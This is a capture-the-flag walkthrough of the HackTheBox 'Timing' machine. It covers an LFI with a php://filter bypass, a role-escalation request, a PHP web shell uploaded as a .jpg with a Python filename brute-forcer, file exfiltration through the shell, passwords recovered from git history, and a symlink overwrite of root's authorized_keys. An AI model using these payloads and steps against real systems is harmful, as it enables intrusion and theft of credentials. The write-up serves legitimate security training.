Timing - [HTB]
Table of Contents
Introduction
Timing is a medium Linux machine from HackTheBox where you will have to find an LFI in order to analyse the web source code, finding a programmer failure that will allow you to upload a web shell. Then, enumerating the machines, you will find a git repository with different credentials on its versions. Finally, you will have to use symbolic links in order to overwrite the root's authorised keys file.
Enumeration
Let's start scanning all opened ports in the box with Nmap.
kali@kali:~/Documents/HTB/Timing$ nmap -vv -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.135
Warning: 10.10.11.135 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.135
Host is up, received echo-reply ttl 63 (0.045s latency).
Scanned at 2021-12-24 05:38:13 EST for 51s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Dec 24 05:39:04 2021 -- 1 IP address (1 host up) scanned in 51.30 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Timing$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-24 05:41 EST
Nmap scan report for 10.10.11.135
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
Having a look at the web page and its source code, there is nothing is interesting.
Furthermore, enumerating files, we can see that image.php
is the only file with size 0 and doesn't redirect us to the login page. Maybe, it requires a parameter to show information.
kali@kali:~/Documents/HTB/Timing$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x asp,aspx,html,php,txt,py,bak,doc,js -t 40 -o GoBuster.txt -u http://10.10.11.135/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.135/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: py,bak,js,asp,aspx,html,php,txt,doc
[+] Timeout: 10s
===============================================================
2021/12/24 05:39:31 Starting gobuster in directory enumeration mode
===============================================================
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/image.php (Status: 200) [Size: 0]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/login.php (Status: 200) [Size: 5609]
/footer.php (Status: 200) [Size: 3937]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
With Ffuz we can obtain the required parameter img
.
kali@kali:~/Documents/HTB/Timing$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -t 60 -u http://10.10.11.135/image.php?FUZZ=/etc/passwd
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://10.10.11.135/image.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 0
________________________________________________
img [Status: 200, Size: 25, Words: 3, Lines: 1]
:: Progress: [951/951] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Trying to access the URL appears an alert.
kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135/image.php?img=/etc/passwd
Hacking attempt detected!
This can be easily bypassed by using the php filter.
kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
Using "aaron" as username and password we can access the web page.
As we can see we are logged as user 2, but the only thing we can do is edit our profile.
Exploitation 1
Using the LFI in order to analyse the web source code, we can see that in the file profile_update.php
we can update our role which didn't appear in the profile form.
curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d
[...]
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
[...]
Looking further we can see that in the file upload.php
appears and admin_auth_check.php
.
kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=upload.php 2>/dev/null | base64 -d
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
[...]
This file is checking if we have set our role to 1.
kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
To update our role, we only need to intercept "Edit profile" request and add role=1
at the end.
POST /profile_update.php HTTP/1.1
Host: 10.10.11.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://10.10.11.135
Connection: close
Referer: http://10.10.11.135/profile.php
Cookie: PHPSESSID=l925ka2ijpn37gbb7k2cn4s03f
firstName=test&lastName=test&email=test&company=test&role=1
Now, we can upload the images.
Exploitation 2
However, we do not have access to the /images/uploads/
directory, so we need to know the exact name to access it.
kali@kali:~$ curl -L http://10.10.11.135/images/uploads/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.11.135 Port 80</address>
If we keep analysing the upload.php
code meticulously, we can see the md5 parameters. The variable $file_hash
is between single quotes so that PHP will interpret that as a string, not a variable. Hence, the md5 will always be a combination of "$file_hash" + <TIMESTAMP>
.
Furthermore, the code only checks the file's extension, so we can upload PHP code with the jpg extension that will later be interpreted thanks to the LFI.
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Because the Apache server sends its date in the response headers, we can create a python script that will upload a file and then brute force the filename thanks to the response time to obtain the URL of our file.
Note: Do not forget to change your PHPSESSID
.
#sws.jpg
# <?php system($_GET['cmd']); ?>
import requests
from dateutil import parser
import hashlib
UPLOAD_DIR = "images/uploads/"
FILENAME = "sws.jpg"
URL="http://10.10.11.135/upload.php"
files = {'fileToUpload': open(FILENAME,'rb')}
cookies = {'PHPSESSID':'<YOUR_PHPSSEID>'}
r = requests.post(URL,files=files, cookies=cookies)
date=r.headers['date']
date = parser.parse(date)
timestamp=int(date.timestamp())
print(timestamp)
# Going to the past 15 seconds
timestamp = timestamp - 15
for i in range(0, 30):
seed = '$file_hash'+str(timestamp)
filename = hashlib.md5(seed.encode()).hexdigest()+'_'+FILENAME
print(filename)
url = "http://10.10.11.135:80/images/uploads/"+filename
status = requests.get(url).status_code
if status != 404:
print(url)
exit(0)
timestamp = timestamp +i
Once executed the script, we obtain where our web shell is located.
kali@kali:~/Documents/HTB/Timing$ python3 fileBruteForce.py
1640646022
18193e0007abbf23983397dddc0a7183_sws.jpg
18193e0007abbf23983397dddc0a7183_sws.jpg
d18f43ee806a457c51a5bd07d7596ca3_sws.jpg
6951071c4215d2ff6f3bcec40ed7edd8_sws.jpg
d0b81c0b68f99ad648db4332c92db759_sws.jpg
177078881d8b85a467020bc363607763_sws.jpg
ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg
http://10.10.11.135:80/images/uploads/ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg
However, at first glance, it doesn't execute.
kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135:80/images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg?cmd=id"
<?php system($_GET['cmd']); ?>
So, we need to use the LFI to make it work.
kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Because some iptables rules reject all traffic for the apache user (You know that once you have become root on the machine), we can not create reverse shells, and the enumeration must be through the web shell.
There is a backup file /opt/source-files-backup.zip
that we can download with the following commands.
curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=base64+/opt/source-files-backup.zip" > /tmp/b64; base64 -d /tmp/b64 > source-files-backup.zip
kali@kali:~/Documents/HTB/Timing/$ unzip source-files-backup.zip
kali@kali:~/Documents/HTB/Timing/backup$ ls -la
total 39
drwxrwx--- 1 root vboxsf 4096 Dec 27 17:58 .
drwxrwx--- 1 root vboxsf 4096 Dec 28 06:00 ..
-rwxrwx--- 1 root vboxsf 200 Dec 27 17:58 admin_auth_check.php
-rwxrwx--- 1 root vboxsf 373 Dec 27 17:58 auth_check.php
-rwxrwx--- 1 root vboxsf 1268 Dec 27 17:58 avatar_uploader.php
drwxrwx--- 1 root vboxsf 0 Dec 27 17:58 css
-rwxrwx--- 1 root vboxsf 96 Dec 27 17:58 db_conn.php
-rwxrwx--- 1 root vboxsf 3937 Dec 27 17:58 footer.php
drwxrwx--- 1 root vboxsf 0 Dec 27 17:58 .git
-rwxrwx--- 1 root vboxsf 1498 Dec 27 17:58 header.php
-rwxrwx--- 1 root vboxsf 507 Dec 27 17:58 image.php
drwxrwx--- 1 root vboxsf 0 Dec 27 17:58 images
-rwxrwx--- 1 root vboxsf 188 Dec 27 17:58 index.php
drwxrwx--- 1 root vboxsf 0 Dec 27 17:58 js
-rwxrwx--- 1 root vboxsf 2074 Dec 27 17:58 login.php
-rwxrwx--- 1 root vboxsf 113 Dec 27 17:58 logout.php
-rwxrwx--- 1 root vboxsf 3041 Dec 27 17:58 profile.php
-rwxrwx--- 1 root vboxsf 1740 Dec 27 17:58 profile_update.php
-rwxrwx--- 1 root vboxsf 984 Dec 27 17:58 upload.php
Because it has a .git
folder we can enumerate its commits, discovering the database's password differs from the init commit and using the latter we can log in as aaron through SSH, obtaining the user flag.
kali@kali:~/Documents/HTB/Timing/backup$ git log --oneline
16de269 (HEAD -> master) db_conn updated
e4e2146 init
kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
kali@kali:~/Documents/HTB/Timing/backup$ git checkout -f e4e2146
kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Privilege Escalation
Aaron is able to execute a bash script as root which executes a .jar
file that we can not analyse because is under the root directory.
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Using the HTTP options it downloads and saves the file as root.
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.177/hola.html
Initializing download: http://10.10.14.177/hola.html
File size: 7 bytes
Opening output file hola.html
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 7 byte in 0 seconds. (0.03 KB/s)
aaron@timing:~$ ls -l
total 16
-rw-r--r-- 1 root root 7 Dec 27 23:59 hola.html
-rw-r----- 1 root aaron 33 Dec 27 23:41 user.txt
Hence, if we create a symbolic link to the root's authorized keys it will overwrite it.
aaron@timing:~$ ln -s /root/.ssh/authorized_keys id_rsa.pub
aaron@timing:~$ ls -l
total 16
-rw-r--r-- 1 root root 7 Dec 27 23:59 hola.html
lrwxrwxrwx 1 aaron aaron 26 Dec 28 00:00 id_rsa.pub -> /root/.ssh/authorized_keys
-rw-r----- 1 root aaron 33 Dec 27 23:41 user.txt
In order to make it work, create an SSH key pair and start a web server.
kali@kali:/tmp/pruebas$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:JNJY8AGHcadlvCocZWHvgp6raj7oAb80Fj+miR1x9Ho kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| +=Bo+ |
| .OoB. |
| +o= o. |
| ..+ +. |
|. o.o.o.S |
|.. *oo.. |
|..* B.E |
|.B.B + |
|*+B.. |
+----[SHA256]-----+
kali@kali:/tmp/pruebas$ ls
hola.html id_rsa id_rsa.pub
kali@kali:/tmp/pruebas$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Then access to the public key using the netutils tools.
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.177/id_rsa.pub
Initializing download: http://10.10.14.177/id_rsa.pub
File size: 563 bytes
Opening output file id_rsa.pub
Server unsupported, starting from scratch with one connection.
Starting download
Finally, once downloaded you will be able to access the machine as root.
kali@kali:/tmp/pruebas$ ssh -i id_rsa root@10.10.11.135
root@timing:~# cat /root/root.txt
[CENSORED]